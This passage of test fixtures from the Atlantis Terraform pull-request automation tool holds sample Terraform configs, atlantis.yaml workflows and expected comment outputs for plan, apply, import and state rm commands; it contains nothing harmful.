Show Output ```diff Terraform used the selected providers to generate the following execution plan. Resource actions are indicated with the following symbols: + create Terraform will perform the following actions: # null_resource.simple[0] will be created + resource "null_resource" "simple" { + id = (known after apply) } # null_resource.simple2 will be created + resource "null_resource" "simple2" { + id = (known after apply) } # null_resource.simple3 will be created + resource "null_resource" "simple3" { + id = (known after apply) } Plan: 3 to add, 0 to change, 0 to destroy. Changes to Outputs: + var = "default" + workspace = "default" ```
* :arrow_forward: To **apply** this plan, comment: ```shell atlantis apply -d . ``` * :put_litter_in_its_place: To **delete** this plan and lock, click [here](lock-url) * :repeat: To **plan** this project again, comment: ```shell atlantis plan -d . ``` Plan: 3 to add, 0 to change, 0 to destroy. --- * :fast_forward: To **apply** all unapplied plans from this Pull Request, comment: ```shell atlantis apply ``` * :put_litter_in_its_place: To **delete** all plans and locks from this Pull Request, comment: ```shell atlantis unlock ``` ================================================ FILE: server/controllers/events/testdata/test-repos/simple-with-lockfile/main.tf ================================================ resource "null_resource" "simple" { count = 1 } resource "null_resource" "simple2" {} resource "null_resource" "simple3" {} variable "var" { default = "default" } output "var" { value = var.var } output "workspace" { value = terraform.workspace } ================================================ FILE: server/controllers/events/testdata/test-repos/simple-with-lockfile/versions.tf ================================================ terraform { required_providers { null = { source = "hashicorp/null" version = "3.2.4" } } } ================================================ FILE: server/controllers/events/testdata/test-repos/simple-yaml/atlantis.yaml ================================================ version: 3 projects: - dir: . workspace: default workflow: default - dir: . workspace: staging workflow: staging workflows: default: # Only specify plan so should use default apply workflow. plan: steps: - run: echo preinit - init - plan: extra_args: [-var, var=fromconfig] - run: echo postplan staging: plan: steps: - init - plan: extra_args: [-var-file, staging.tfvars] apply: steps: - run: echo preapply - apply - run: echo postapply ================================================ FILE: server/controllers/events/testdata/test-repos/simple-yaml/exp-output-allow-command-unknown-apply.txt ================================================ ``` Error: unknown command "apply". Run 'atlantis --help' for usage. Available commands(--allow-commands): plan ``` ================================================ FILE: server/controllers/events/testdata/test-repos/simple-yaml/exp-output-apply-all.txt ================================================ Ran Apply for 2 projects: 1. dir: `.` workspace: `default` 1. dir: `.` workspace: `staging` --- ### 1. dir: `.` workspace: `default` ```diff null_resource.simple: null_resource.simple: Apply complete! Resources: 1 added, 0 changed, 0 destroyed. Outputs: var = "fromconfig" workspace = "default" ``` --- ### 2. dir: `.` workspace: `staging`
Show Output ```diff preapply null_resource.simple: null_resource.simple: Apply complete! Resources: 1 added, 0 changed, 0 destroyed. Outputs: var = "fromfile" workspace = "staging" postapply ```
--- ### Apply Summary 2 projects, 2 successful, 0 failed, 0 errored ================================================ FILE: server/controllers/events/testdata/test-repos/simple-yaml/exp-output-apply-default.txt ================================================ Ran Apply for dir: `.` workspace: `default` ```diff null_resource.simple: null_resource.simple: Apply complete! Resources: 1 added, 0 changed, 0 destroyed. Outputs: var = "fromconfig" workspace = "default" ``` ================================================ FILE: server/controllers/events/testdata/test-repos/simple-yaml/exp-output-apply-locked.txt ================================================ **Error:** Running `atlantis apply` is disabled. ================================================ FILE: server/controllers/events/testdata/test-repos/simple-yaml/exp-output-apply-staging.txt ================================================ Ran Apply for dir: `.` workspace: `staging`
Show Output ```diff preapply null_resource.simple: null_resource.simple: Apply complete! Resources: 1 added, 0 changed, 0 destroyed. Outputs: var = "fromfile" workspace = "staging" postapply ```
================================================ FILE: server/controllers/events/testdata/test-repos/simple-yaml/exp-output-autoplan.txt ================================================ Ran Plan for 2 projects: 1. dir: `.` workspace: `default` 1. dir: `.` workspace: `staging` --- ### 1. dir: `.` workspace: `default`
Show Output ```diff preinit Terraform used the selected providers to generate the following execution plan. Resource actions are indicated with the following symbols: + create Terraform will perform the following actions: # null_resource.simple[0] will be created + resource "null_resource" "simple" { + id = (known after apply) } Plan: 1 to add, 0 to change, 0 to destroy. Changes to Outputs: + var = "fromconfig" + workspace = "default" postplan ```
* :arrow_forward: To **apply** this plan, comment: ```shell atlantis apply -d . ``` * :put_litter_in_its_place: To **delete** this plan and lock, click [here](lock-url) * :repeat: To **plan** this project again, comment: ```shell atlantis plan -d . ``` Plan: 1 to add, 0 to change, 0 to destroy. --- ### 2. dir: `.` workspace: `staging`
Show Output ```diff Terraform used the selected providers to generate the following execution plan. Resource actions are indicated with the following symbols: + create Terraform will perform the following actions: # null_resource.simple[0] will be created + resource "null_resource" "simple" { + id = (known after apply) } Plan: 1 to add, 0 to change, 0 to destroy. Changes to Outputs: + var = "fromfile" + workspace = "staging" ```
* :arrow_forward: To **apply** this plan, comment: ```shell atlantis apply -w staging ``` * :put_litter_in_its_place: To **delete** this plan and lock, click [here](lock-url) * :repeat: To **plan** this project again, comment: ```shell atlantis plan -w staging ``` Plan: 1 to add, 0 to change, 0 to destroy. --- ### Plan Summary 2 projects, 2 with changes, 0 with no changes, 0 failed * :fast_forward: To **apply** all unapplied plans from this Pull Request, comment: ```shell atlantis apply ``` * :put_litter_in_its_place: To **delete** all plans and locks from this Pull Request, comment: ```shell atlantis unlock ``` ================================================ FILE: server/controllers/events/testdata/test-repos/simple-yaml/exp-output-merge.txt ================================================ Locks and plans deleted for the projects and workspaces modified in this pull request: - dir: `.` workspaces: `default`, `staging` ================================================ FILE: server/controllers/events/testdata/test-repos/simple-yaml/exp-output-plan-default.txt ================================================ Ran Plan for dir: `.` workspace: `default`
Show Output ```diff preinit Terraform used the selected providers to generate the following execution plan. Resource actions are indicated with the following symbols: + create Terraform will perform the following actions: # null_resource.simple[0] will be created + resource "null_resource" "simple" { + id = (known after apply) } Plan: 1 to add, 0 to change, 0 to destroy. Changes to Outputs: + var = "fromconfig" + workspace = "default" postplan ```
* :arrow_forward: To **apply** this plan, comment: ```shell atlantis apply -d . ``` * :put_litter_in_its_place: To **delete** this plan and lock, click [here](lock-url) * :repeat: To **plan** this project again, comment: ```shell atlantis plan -d . ``` Plan: 1 to add, 0 to change, 0 to destroy. --- * :fast_forward: To **apply** all unapplied plans from this Pull Request, comment: ```shell atlantis apply ``` * :put_litter_in_its_place: To **delete** all plans and locks from this Pull Request, comment: ```shell atlantis unlock ``` ================================================ FILE: server/controllers/events/testdata/test-repos/simple-yaml/exp-output-plan-staging.txt ================================================ Ran Plan for dir: `.` workspace: `staging`
Show Output ```diff Terraform used the selected providers to generate the following execution plan. Resource actions are indicated with the following symbols: + create Terraform will perform the following actions: # null_resource.simple[0] will be created + resource "null_resource" "simple" { + id = (known after apply) } Plan: 1 to add, 0 to change, 0 to destroy. Changes to Outputs: + var = "fromfile" + workspace = "staging" ```
* :arrow_forward: To **apply** this plan, comment: ```shell atlantis apply -w staging ``` * :put_litter_in_its_place: To **delete** this plan and lock, click [here](lock-url) * :repeat: To **plan** this project again, comment: ```shell atlantis plan -w staging ``` Plan: 1 to add, 0 to change, 0 to destroy. --- * :fast_forward: To **apply** all unapplied plans from this Pull Request, comment: ```shell atlantis apply ``` * :put_litter_in_its_place: To **delete** all plans and locks from this Pull Request, comment: ```shell atlantis unlock ``` ================================================ FILE: server/controllers/events/testdata/test-repos/simple-yaml/main.tf ================================================ resource "null_resource" "simple" { count = "1" } variable "var" { default = "default" } output "var" { value = var.var } output "workspace" { value = terraform.workspace } ================================================ FILE: server/controllers/events/testdata/test-repos/simple-yaml/staging.tfvars ================================================ var= "fromfile" ================================================ FILE: server/controllers/events/testdata/test-repos/simple-yaml/versions.tf ================================================ terraform { required_providers { null = { source = "hashicorp/null" version = "3.2.4" } } } ================================================ FILE: server/controllers/events/testdata/test-repos/state-rm-multiple-project/atlantis.yaml ================================================ version: 3 projects: - dir: dir1 - dir: dir2 ================================================ FILE: server/controllers/events/testdata/test-repos/state-rm-multiple-project/dir1/main.tf ================================================ resource "random_id" "dummy" { byte_length = 1 } ================================================ FILE: server/controllers/events/testdata/test-repos/state-rm-multiple-project/dir1/versions.tf ================================================ provider "random" {} terraform { required_providers { random = { source = "hashicorp/random" version = "3.8.1" } } } ================================================ FILE: server/controllers/events/testdata/test-repos/state-rm-multiple-project/dir2/main.tf ================================================ resource "random_id" "dummy" { byte_length = 1 } ================================================ FILE: server/controllers/events/testdata/test-repos/state-rm-multiple-project/dir2/versions.tf ================================================ provider "random" {} terraform { required_providers { random = { source = "hashicorp/random" version = "3.8.1" } } } ================================================ FILE: server/controllers/events/testdata/test-repos/state-rm-multiple-project/exp-output-autoplan.txt ================================================ Ran Plan for 2 projects: 1. dir: `dir1` workspace: `default` 1. dir: `dir2` workspace: `default` --- ### 1. dir: `dir1` workspace: `default`
Show Output ```diff Terraform used the selected providers to generate the following execution plan. Resource actions are indicated with the following symbols: + create Terraform will perform the following actions: # random_id.dummy will be created + resource "random_id" "dummy" { + b64_std = (known after apply) + b64_url = (known after apply) + byte_length = 1 + dec = (known after apply) + hex = (known after apply) + id = (known after apply) } Plan: 1 to add, 0 to change, 0 to destroy. ```
* :arrow_forward: To **apply** this plan, comment: ```shell atlantis apply -d dir1 ``` * :put_litter_in_its_place: To **delete** this plan and lock, click [here](lock-url) * :repeat: To **plan** this project again, comment: ```shell atlantis plan -d dir1 ``` Plan: 1 to add, 0 to change, 0 to destroy. --- ### 2. dir: `dir2` workspace: `default`
Show Output ```diff Terraform used the selected providers to generate the following execution plan. Resource actions are indicated with the following symbols: + create Terraform will perform the following actions: # random_id.dummy will be created + resource "random_id" "dummy" { + b64_std = (known after apply) + b64_url = (known after apply) + byte_length = 1 + dec = (known after apply) + hex = (known after apply) + id = (known after apply) } Plan: 1 to add, 0 to change, 0 to destroy. ```
* :arrow_forward: To **apply** this plan, comment: ```shell atlantis apply -d dir2 ``` * :put_litter_in_its_place: To **delete** this plan and lock, click [here](lock-url) * :repeat: To **plan** this project again, comment: ```shell atlantis plan -d dir2 ``` Plan: 1 to add, 0 to change, 0 to destroy. --- ### Plan Summary 2 projects, 2 with changes, 0 with no changes, 0 failed * :fast_forward: To **apply** all unapplied plans from this Pull Request, comment: ```shell atlantis apply ``` * :put_litter_in_its_place: To **delete** all plans and locks from this Pull Request, comment: ```shell atlantis unlock ``` ================================================ FILE: server/controllers/events/testdata/test-repos/state-rm-multiple-project/exp-output-import-dummy1.txt ================================================ Ran Import for dir: `dir1` workspace: `default` ```diff random_id.dummy: Importing from ID "AA"... random_id.dummy: Import prepared! Prepared random_id for import random_id.dummy: Refreshing state... [id=AA] Import successful! The resources that were imported are shown above. These resources are now in your Terraform state and will henceforth be managed by Terraform. ``` :put_litter_in_its_place: A plan file was discarded. Re-plan would be required before applying. * :repeat: To **plan** this project again, comment: ```shell atlantis plan -d dir1 ``` ================================================ FILE: server/controllers/events/testdata/test-repos/state-rm-multiple-project/exp-output-import-dummy2.txt ================================================ Ran Import for dir: `dir2` workspace: `default` ```diff random_id.dummy: Importing from ID "BB"... random_id.dummy: Import prepared! Prepared random_id for import random_id.dummy: Refreshing state... [id=BB] Import successful! The resources that were imported are shown above. These resources are now in your Terraform state and will henceforth be managed by Terraform. ``` :put_litter_in_its_place: A plan file was discarded. Re-plan would be required before applying. * :repeat: To **plan** this project again, comment: ```shell atlantis plan -d dir2 ``` ================================================ FILE: server/controllers/events/testdata/test-repos/state-rm-multiple-project/exp-output-merged.txt ================================================ Locks and plans deleted for the projects and workspaces modified in this pull request: - dir: `dir1` workspace: `default` - dir: `dir2` workspace: `default` ================================================ FILE: server/controllers/events/testdata/test-repos/state-rm-multiple-project/exp-output-plan-again.txt ================================================ Ran Plan for 2 projects: 1. dir: `dir1` workspace: `default` 1. dir: `dir2` workspace: `default` --- ### 1. dir: `dir1` workspace: `default`
Show Output ```diff Terraform used the selected providers to generate the following execution plan. Resource actions are indicated with the following symbols: + create Terraform will perform the following actions: # random_id.dummy will be created + resource "random_id" "dummy" { + b64_std = (known after apply) + b64_url = (known after apply) + byte_length = 1 + dec = (known after apply) + hex = (known after apply) + id = (known after apply) } Plan: 1 to add, 0 to change, 0 to destroy. ```
* :arrow_forward: To **apply** this plan, comment: ```shell atlantis apply -d dir1 ``` * :put_litter_in_its_place: To **delete** this plan and lock, click [here](lock-url) * :repeat: To **plan** this project again, comment: ```shell atlantis plan -d dir1 ``` Plan: 1 to add, 0 to change, 0 to destroy. --- ### 2. dir: `dir2` workspace: `default`
Show Output ```diff Terraform used the selected providers to generate the following execution plan. Resource actions are indicated with the following symbols: + create Terraform will perform the following actions: # random_id.dummy will be created + resource "random_id" "dummy" { + b64_std = (known after apply) + b64_url = (known after apply) + byte_length = 1 + dec = (known after apply) + hex = (known after apply) + id = (known after apply) } Plan: 1 to add, 0 to change, 0 to destroy. ```
* :arrow_forward: To **apply** this plan, comment: ```shell atlantis apply -d dir2 ``` * :put_litter_in_its_place: To **delete** this plan and lock, click [here](lock-url) * :repeat: To **plan** this project again, comment: ```shell atlantis plan -d dir2 ``` Plan: 1 to add, 0 to change, 0 to destroy. --- ### Plan Summary 2 projects, 2 with changes, 0 with no changes, 0 failed * :fast_forward: To **apply** all unapplied plans from this Pull Request, comment: ```shell atlantis apply ``` * :put_litter_in_its_place: To **delete** all plans and locks from this Pull Request, comment: ```shell atlantis unlock ``` ================================================ FILE: server/controllers/events/testdata/test-repos/state-rm-multiple-project/exp-output-plan.txt ================================================ Ran Plan for 2 projects: 1. dir: `dir1` workspace: `default` 1. dir: `dir2` workspace: `default` --- ### 1. dir: `dir1` workspace: `default` ```diff random_id.dummy: Refreshing state... [id=AA] No changes. Your infrastructure matches the configuration. Terraform has compared your real infrastructure against your configuration and found no differences, so no changes are needed. ``` * :arrow_forward: To **apply** this plan, comment: ```shell atlantis apply -d dir1 ``` * :put_litter_in_its_place: To **delete** this plan and lock, click [here](lock-url) * :repeat: To **plan** this project again, comment: ```shell atlantis plan -d dir1 ``` --- ### 2. dir: `dir2` workspace: `default` ```diff random_id.dummy: Refreshing state... [id=BB] No changes. Your infrastructure matches the configuration. Terraform has compared your real infrastructure against your configuration and found no differences, so no changes are needed. ``` * :arrow_forward: To **apply** this plan, comment: ```shell atlantis apply -d dir2 ``` * :put_litter_in_its_place: To **delete** this plan and lock, click [here](lock-url) * :repeat: To **plan** this project again, comment: ```shell atlantis plan -d dir2 ``` --- ### Plan Summary 2 projects, 0 with changes, 2 with no changes, 0 failed * :fast_forward: To **apply** all unapplied plans from this Pull Request, comment: ```shell atlantis apply ``` * :put_litter_in_its_place: To **delete** all plans and locks from this Pull Request, comment: ```shell atlantis unlock ``` ================================================ FILE: server/controllers/events/testdata/test-repos/state-rm-multiple-project/exp-output-state-rm-multiple-projects.txt ================================================ Ran State for 2 projects: 1. dir: `dir1` workspace: `default` 1. dir: `dir2` workspace: `default` --- ### 1. dir: `dir1` workspace: `default` ```diff Removed random_id.dummy Successfully removed 1 resource instance(s). ``` :put_litter_in_its_place: A plan file was discarded. Re-plan would be required before applying. * :repeat: To **plan** this project again, comment: ```shell atlantis plan -d dir1 ``` --- ### 2. dir: `dir2` workspace: `default` ```diff Removed random_id.dummy Successfully removed 1 resource instance(s). ``` :put_litter_in_its_place: A plan file was discarded. Re-plan would be required before applying. * :repeat: To **plan** this project again, comment: ```shell atlantis plan -d dir2 ``` --- ================================================ FILE: server/controllers/events/testdata/test-repos/state-rm-single-project/exp-output-autoplan.txt ================================================ Ran Plan for dir: `.` workspace: `default`
Show Output ```diff Terraform used the selected providers to generate the following execution plan. Resource actions are indicated with the following symbols: + create Terraform will perform the following actions: # random_id.count[0] will be created + resource "random_id" "count" { + b64_std = (known after apply) + b64_url = (known after apply) + byte_length = 1 + dec = (known after apply) + hex = (known after apply) + id = (known after apply) } # random_id.for_each["default"] will be created + resource "random_id" "for_each" { + b64_std = (known after apply) + b64_url = (known after apply) + byte_length = 1 + dec = (known after apply) + hex = (known after apply) + id = (known after apply) } # random_id.simple will be created + resource "random_id" "simple" { + b64_std = (known after apply) + b64_url = (known after apply) + byte_length = 1 + dec = (known after apply) + hex = (known after apply) + id = (known after apply) } Plan: 3 to add, 0 to change, 0 to destroy. ```
* :arrow_forward: To **apply** this plan, comment: ```shell atlantis apply -d . ``` * :put_litter_in_its_place: To **delete** this plan and lock, click [here](lock-url) * :repeat: To **plan** this project again, comment: ```shell atlantis plan -d . ``` Plan: 3 to add, 0 to change, 0 to destroy. --- * :fast_forward: To **apply** all unapplied plans from this Pull Request, comment: ```shell atlantis apply ``` * :put_litter_in_its_place: To **delete** all plans and locks from this Pull Request, comment: ```shell atlantis unlock ``` ================================================ FILE: server/controllers/events/testdata/test-repos/state-rm-single-project/exp-output-import-count.txt ================================================ Ran Import for dir: `.` workspace: `default` ```diff random_id.count[0]: Importing from ID "BB"... random_id.count[0]: Import prepared! Prepared random_id for import random_id.count[0]: Refreshing state... [id=BB] Import successful! The resources that were imported are shown above. These resources are now in your Terraform state and will henceforth be managed by Terraform. ``` :put_litter_in_its_place: A plan file was discarded. Re-plan would be required before applying. * :repeat: To **plan** this project again, comment: ```shell atlantis plan -d . ``` ================================================ FILE: server/controllers/events/testdata/test-repos/state-rm-single-project/exp-output-import-foreach.txt ================================================ Ran Import for dir: `.` workspace: `default` ```diff random_id.for_each["overridden"]: Importing from ID "BB"... random_id.for_each["overridden"]: Import prepared! Prepared random_id for import random_id.for_each["overridden"]: Refreshing state... [id=BB] Import successful! The resources that were imported are shown above. These resources are now in your Terraform state and will henceforth be managed by Terraform. ``` :put_litter_in_its_place: A plan file was discarded. Re-plan would be required before applying. * :repeat: To **plan** this project again, comment: ```shell atlantis plan -d . ``` ================================================ FILE: server/controllers/events/testdata/test-repos/state-rm-single-project/exp-output-import-simple.txt ================================================ Ran Import for dir: `.` workspace: `default` ```diff random_id.simple: Importing from ID "AA"... random_id.simple: Import prepared! Prepared random_id for import random_id.simple: Refreshing state... [id=AA] Import successful! The resources that were imported are shown above. These resources are now in your Terraform state and will henceforth be managed by Terraform. ``` :put_litter_in_its_place: A plan file was discarded. Re-plan would be required before applying. * :repeat: To **plan** this project again, comment: ```shell atlantis plan -d . ``` ================================================ FILE: server/controllers/events/testdata/test-repos/state-rm-single-project/exp-output-merged.txt ================================================ Locks and plans deleted for the projects and workspaces modified in this pull request: - dir: `.` workspace: `default` ================================================ FILE: server/controllers/events/testdata/test-repos/state-rm-single-project/exp-output-plan-again.txt ================================================ Ran Plan for dir: `.` workspace: `default`
Show Output ```diff Terraform used the selected providers to generate the following execution plan. Resource actions are indicated with the following symbols: + create Terraform will perform the following actions: # random_id.count[0] will be created + resource "random_id" "count" { + b64_std = (known after apply) + b64_url = (known after apply) + byte_length = 1 + dec = (known after apply) + hex = (known after apply) + id = (known after apply) } # random_id.for_each["overridden"] will be created + resource "random_id" "for_each" { + b64_std = (known after apply) + b64_url = (known after apply) + byte_length = 1 + dec = (known after apply) + hex = (known after apply) + id = (known after apply) } # random_id.simple will be created + resource "random_id" "simple" { + b64_std = (known after apply) + b64_url = (known after apply) + byte_length = 1 + dec = (known after apply) + hex = (known after apply) + id = (known after apply) } Plan: 3 to add, 0 to change, 0 to destroy. ```
* :arrow_forward: To **apply** this plan, comment: ```shell atlantis apply -d . ``` * :put_litter_in_its_place: To **delete** this plan and lock, click [here](lock-url) * :repeat: To **plan** this project again, comment: ```shell atlantis plan -d . -- -var var=overridden ``` Plan: 3 to add, 0 to change, 0 to destroy. --- * :fast_forward: To **apply** all unapplied plans from this Pull Request, comment: ```shell atlantis apply ``` * :put_litter_in_its_place: To **delete** all plans and locks from this Pull Request, comment: ```shell atlantis unlock ``` ================================================ FILE: server/controllers/events/testdata/test-repos/state-rm-single-project/exp-output-plan.txt ================================================ Ran Plan for dir: `.` workspace: `default` ```diff No changes. Your infrastructure matches the configuration. Terraform has compared your real infrastructure against your configuration and found no differences, so no changes are needed. ``` * :arrow_forward: To **apply** this plan, comment: ```shell atlantis apply -d . ``` * :put_litter_in_its_place: To **delete** this plan and lock, click [here](lock-url) * :repeat: To **plan** this project again, comment: ```shell atlantis plan -d . -- -var var=overridden ``` --- * :fast_forward: To **apply** all unapplied plans from this Pull Request, comment: ```shell atlantis apply ``` * :put_litter_in_its_place: To **delete** all plans and locks from this Pull Request, comment: ```shell atlantis unlock ``` ================================================ FILE: server/controllers/events/testdata/test-repos/state-rm-single-project/exp-output-state-rm-foreach.txt ================================================ Ran State `rm` for dir: `.` workspace: `default` ```diff Removed random_id.for_each["overridden"] Successfully removed 1 resource instance(s). ``` :put_litter_in_its_place: A plan file was discarded. Re-plan would be required before applying. * :repeat: To **plan** this project again, comment: ```shell atlantis plan -d . ``` ================================================ FILE: server/controllers/events/testdata/test-repos/state-rm-single-project/exp-output-state-rm-multiple.txt ================================================ Ran State `rm` for dir: `.` workspace: `default` ```diff Removed random_id.count[0] Removed random_id.simple Successfully removed 2 resource instance(s). ``` :put_litter_in_its_place: A plan file was discarded. Re-plan would be required before applying. * :repeat: To **plan** this project again, comment: ```shell atlantis plan -d . ``` ================================================ FILE: server/controllers/events/testdata/test-repos/state-rm-single-project/main.tf ================================================ resource "random_id" "simple" { byte_length = 1 } resource "random_id" "for_each" { for_each = toset([var.var]) byte_length = 1 } resource "random_id" "count" { count = 1 byte_length = 1 } variable "var" { default = "default" } ================================================ FILE: server/controllers/events/testdata/test-repos/state-rm-single-project/versions.tf ================================================ provider "random" {} terraform { required_providers { random = { source = "hashicorp/random" version = "3.8.1" } } } ================================================ FILE: server/controllers/events/testdata/test-repos/state-rm-workspace/atlantis.yaml ================================================ version: 3 projects: - name: dir1-ops dir: dir1 workspace: ops ================================================ FILE: server/controllers/events/testdata/test-repos/state-rm-workspace/dir1/main.tf ================================================ resource "random_id" "dummy1" { count = terraform.workspace == "ops" ? 1 : 0 byte_length = 1 } output "workspace" { value = terraform.workspace } ================================================ FILE: server/controllers/events/testdata/test-repos/state-rm-workspace/dir1/versions.tf ================================================ provider "random" {} terraform { required_providers { random = { source = "hashicorp/random" version = "~> 3" } } } ================================================ FILE: server/controllers/events/testdata/test-repos/state-rm-workspace/exp-output-import-dummy1.txt ================================================ Ran Import for project: `dir1-ops` dir: `dir1` workspace: `ops` ```diff random_id.dummy1[0]: Importing from ID "AA"... random_id.dummy1[0]: Import prepared! Prepared random_id for import random_id.dummy1[0]: Refreshing state... [id=AA] Import successful! The resources that were imported are shown above. These resources are now in your Terraform state and will henceforth be managed by Terraform. ``` :put_litter_in_its_place: A plan file was discarded. Re-plan would be required before applying. * :repeat: To **plan** this project again, comment: ```shell atlantis plan -p dir1-ops ``` ================================================ FILE: server/controllers/events/testdata/test-repos/state-rm-workspace/exp-output-merge.txt ================================================ Locks and plans deleted for the projects and workspaces modified in this pull request: - dir: `dir1` workspace: `ops` ================================================ FILE: server/controllers/events/testdata/test-repos/state-rm-workspace/exp-output-plan-again.txt ================================================ Ran Plan for project: `dir1-ops` dir: `dir1` workspace: `ops`
Show Output ```diff Terraform used the selected providers to generate the following execution plan. Resource actions are indicated with the following symbols: + create Terraform will perform the following actions: # random_id.dummy1[0] will be created + resource "random_id" "dummy1" { + b64_std = (known after apply) + b64_url = (known after apply) + byte_length = 1 + dec = (known after apply) + hex = (known after apply) + id = (known after apply) } Plan: 1 to add, 0 to change, 0 to destroy. ```
* :arrow_forward: To **apply** this plan, comment: ```shell atlantis apply -p dir1-ops ``` * :put_litter_in_its_place: To **delete** this plan and lock, click [here](lock-url) * :repeat: To **plan** this project again, comment: ```shell atlantis plan -p dir1-ops ``` Plan: 1 to add, 0 to change, 0 to destroy. --- * :fast_forward: To **apply** all unapplied plans from this Pull Request, comment: ```shell atlantis apply ``` * :put_litter_in_its_place: To **delete** all plans and locks from this Pull Request, comment: ```shell atlantis unlock ``` ================================================ FILE: server/controllers/events/testdata/test-repos/state-rm-workspace/exp-output-plan.txt ================================================ Ran Plan for project: `dir1-ops` dir: `dir1` workspace: `ops` ```diff random_id.dummy1[0]: Refreshing state... [id=AA] No changes. Your infrastructure matches the configuration. Terraform has compared your real infrastructure against your configuration and found no differences, so no changes are needed. ``` * :arrow_forward: To **apply** this plan, comment: ```shell atlantis apply -p dir1-ops ``` * :put_litter_in_its_place: To **delete** this plan and lock, click [here](lock-url) * :repeat: To **plan** this project again, comment: ```shell atlantis plan -p dir1-ops ``` --- * :fast_forward: To **apply** all unapplied plans from this Pull Request, comment: ```shell atlantis apply ``` * :put_litter_in_its_place: To **delete** all plans and locks from this Pull Request, comment: ```shell atlantis unlock ``` ================================================ FILE: server/controllers/events/testdata/test-repos/state-rm-workspace/exp-output-state-rm-dummy1.txt ================================================ Ran State `rm` for project: `dir1-ops` dir: `dir1` workspace: `ops` ```diff Removed random_id.dummy1[0] Successfully removed 1 resource instance(s). ``` :put_litter_in_its_place: A plan file was discarded. Re-plan would be required before applying. * :repeat: To **plan** this project again, comment: ```shell atlantis plan -p dir1-ops ``` ================================================ FILE: server/controllers/events/testdata/test-repos/tfvars-yaml/atlantis.yaml ================================================ version: 3 projects: - dir: . name: default workflow: default - dir: . workflow: staging name: staging workflows: default: plan: steps: - run: rm -rf .terraform - init: extra_args: [-backend-config=default.backend.tfvars] - plan: extra_args: [-var-file=default.tfvars] - run: echo workspace=$WORKSPACE staging: plan: steps: - run: rm -rf .terraform - init: extra_args: [-backend-config=staging.backend.tfvars] - plan: extra_args: [-var-file, staging.tfvars] ================================================ FILE: server/controllers/events/testdata/test-repos/tfvars-yaml/default.backend.tfvars ================================================ path = "default.tfstate" ================================================ FILE: server/controllers/events/testdata/test-repos/tfvars-yaml/default.tfvars ================================================ var = "default" ================================================ FILE: server/controllers/events/testdata/test-repos/tfvars-yaml/exp-output-apply-default.txt ================================================ Ran Apply for project: `default` dir: `.` workspace: `default` ```diff null_resource.simple: null_resource.simple: Apply complete! Resources: 1 added, 0 changed, 0 destroyed. Outputs: var = "default" workspace = "default" ``` ================================================ FILE: server/controllers/events/testdata/test-repos/tfvars-yaml/exp-output-apply-staging.txt ================================================ Ran Apply for project: `staging` dir: `.` workspace: `default` ```diff null_resource.simple: null_resource.simple: Apply complete! Resources: 1 added, 0 changed, 0 destroyed. Outputs: var = "staging" workspace = "default" ``` ================================================ FILE: server/controllers/events/testdata/test-repos/tfvars-yaml/exp-output-autoplan.txt ================================================ Ran Plan for 2 projects: 1. project: `default` dir: `.` workspace: `default` 1. project: `staging` dir: `.` workspace: `default` --- ### 1. project: `default` dir: `.` workspace: `default`
Show Output ```diff Terraform used the selected providers to generate the following execution plan. Resource actions are indicated with the following symbols: + create Terraform will perform the following actions: # null_resource.simple[0] will be created + resource "null_resource" "simple" { + id = (known after apply) } Plan: 1 to add, 0 to change, 0 to destroy. Changes to Outputs: + var = "default" + workspace = "default" workspace=default ```
* :arrow_forward: To **apply** this plan, comment: ```shell atlantis apply -p default ``` * :put_litter_in_its_place: To **delete** this plan and lock, click [here](lock-url) * :repeat: To **plan** this project again, comment: ```shell atlantis plan -p default ``` Plan: 1 to add, 0 to change, 0 to destroy. --- ### 2. project: `staging` dir: `.` workspace: `default`
Show Output ```diff Terraform used the selected providers to generate the following execution plan. Resource actions are indicated with the following symbols: + create Terraform will perform the following actions: # null_resource.simple[0] will be created + resource "null_resource" "simple" { + id = (known after apply) } Plan: 1 to add, 0 to change, 0 to destroy. Changes to Outputs: + var = "staging" + workspace = "default" ```
* :arrow_forward: To **apply** this plan, comment: ```shell atlantis apply -p staging ``` * :put_litter_in_its_place: To **delete** this plan and lock, click [here](lock-url) * :repeat: To **plan** this project again, comment: ```shell atlantis plan -p staging ``` Plan: 1 to add, 0 to change, 0 to destroy. --- ### Plan Summary 2 projects, 2 with changes, 0 with no changes, 0 failed * :fast_forward: To **apply** all unapplied plans from this Pull Request, comment: ```shell atlantis apply ``` * :put_litter_in_its_place: To **delete** all plans and locks from this Pull Request, comment: ```shell atlantis unlock ``` ================================================ FILE: server/controllers/events/testdata/test-repos/tfvars-yaml/exp-output-merge.txt ================================================ Locks and plans deleted for the projects and workspaces modified in this pull request: - dir: `.` workspace: `default` ================================================ FILE: server/controllers/events/testdata/test-repos/tfvars-yaml/main.tf ================================================ terraform { backend "local" { } } resource "null_resource" "simple" { count = 1 } variable "var" { } output "var" { value = var.var } output "workspace" { value = terraform.workspace } ================================================ FILE: server/controllers/events/testdata/test-repos/tfvars-yaml/staging.backend.tfvars ================================================ path = "staging.tfstate" ================================================ FILE: server/controllers/events/testdata/test-repos/tfvars-yaml/staging.tfvars ================================================ var = "staging" ================================================ FILE: server/controllers/events/testdata/test-repos/tfvars-yaml/versions.tf ================================================ terraform { required_providers { null = { source = "hashicorp/null" version = "3.2.4" } } } ================================================ FILE: server/controllers/events/testdata/test-repos/tfvars-yaml-no-autoplan/atlantis.yaml ================================================ version: 3 projects: - dir: . name: default workflow: default autoplan: enabled: false - dir: . workflow: staging name: staging autoplan: enabled: false workflows: default: plan: steps: - run: rm -rf .terraform - init: extra_args: [-backend-config=default.backend.tfvars] - plan: extra_args: [-var-file=default.tfvars] staging: plan: steps: - run: rm -rf .terraform - init: extra_args: [-backend-config=staging.backend.tfvars] - plan: extra_args: [-var-file, staging.tfvars] ================================================ FILE: server/controllers/events/testdata/test-repos/tfvars-yaml-no-autoplan/default.backend.tfvars ================================================ path = "default.tfstate" ================================================ FILE: server/controllers/events/testdata/test-repos/tfvars-yaml-no-autoplan/default.tfvars ================================================ var = "default" ================================================ FILE: server/controllers/events/testdata/test-repos/tfvars-yaml-no-autoplan/exp-output-apply-default.txt ================================================ Ran Apply for project: `default` dir: `.` workspace: `default` ```diff null_resource.simple: null_resource.simple: Apply complete! Resources: 1 added, 0 changed, 0 destroyed. Outputs: var = "default" workspace = "default" ``` ================================================ FILE: server/controllers/events/testdata/test-repos/tfvars-yaml-no-autoplan/exp-output-apply-staging.txt ================================================ Ran Apply for project: `staging` dir: `.` workspace: `default` ```diff null_resource.simple: null_resource.simple: Apply complete! Resources: 1 added, 0 changed, 0 destroyed. Outputs: var = "staging" workspace = "default" ``` ================================================ FILE: 